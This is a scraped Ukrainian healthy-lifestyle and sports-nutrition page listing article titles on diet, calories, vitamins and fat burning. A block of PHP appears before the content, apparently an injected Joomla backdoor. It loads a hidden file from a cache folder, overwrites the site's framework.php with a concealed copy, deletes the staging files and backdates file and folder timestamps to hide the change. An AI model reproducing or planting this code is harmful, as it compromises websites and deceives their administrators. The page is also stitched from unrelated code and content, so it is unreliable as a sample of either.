$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } ЗДОРОВИЙ СПОСІБ ЖИТТЯ - ХАРЧУВАННЯ | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

ЗДОРОВИЙ СПОСІБ ЖИТТЯ - ХАРЧУВАННЯ

Здоровий спосіб життя це ключ до довголіття та стійкості хворобам. Харчування один з найголовніших факторів відмінного стану здоровя та самопочуття. Але часто про харчування замислюються лише тоді коли вже добряче "прижме". Хоча дотримання простих правил в домашноьму куховарстві вже согодні, може вберегти вас від великих проблем зі здоровям в майбутньому.
"Адже ми те - що ми їмо..."
здорове  зарчування для всіх

 

   Показати # 
1 Кава - ворог чи друг?
2 Теорія и практика жироспалювання. ЗМІСТ
3 Жири. Вуглеводи. Білки. Вода (5-16)
4 Калорії (4-16)
5 Мотивація та цілі (3-16)
6 Дієти і догми (2-16)
7 Теорія и практика жироспалювання (1-16)
8 Зайва вага... Зайва вага...Зайва вага
9 Ваша професія і здоров'я
10 Все добре в міру
11 Стрес завжди молодий
12 Спортзал в ліжку... качайте м'язи під час секса
13 Коли просто немає сил (енергетична криза), поради та рекомендації
14 Вітаміни для очей, або як покращити зір
15 Вітаміни і мінерали - призначення.
16 Вітаміни - носії життя.
17 Перепелине яйце - фантастичні властивості
18 Про що мовчить дієтологія.
 
Харчування-здоровий спосіб життя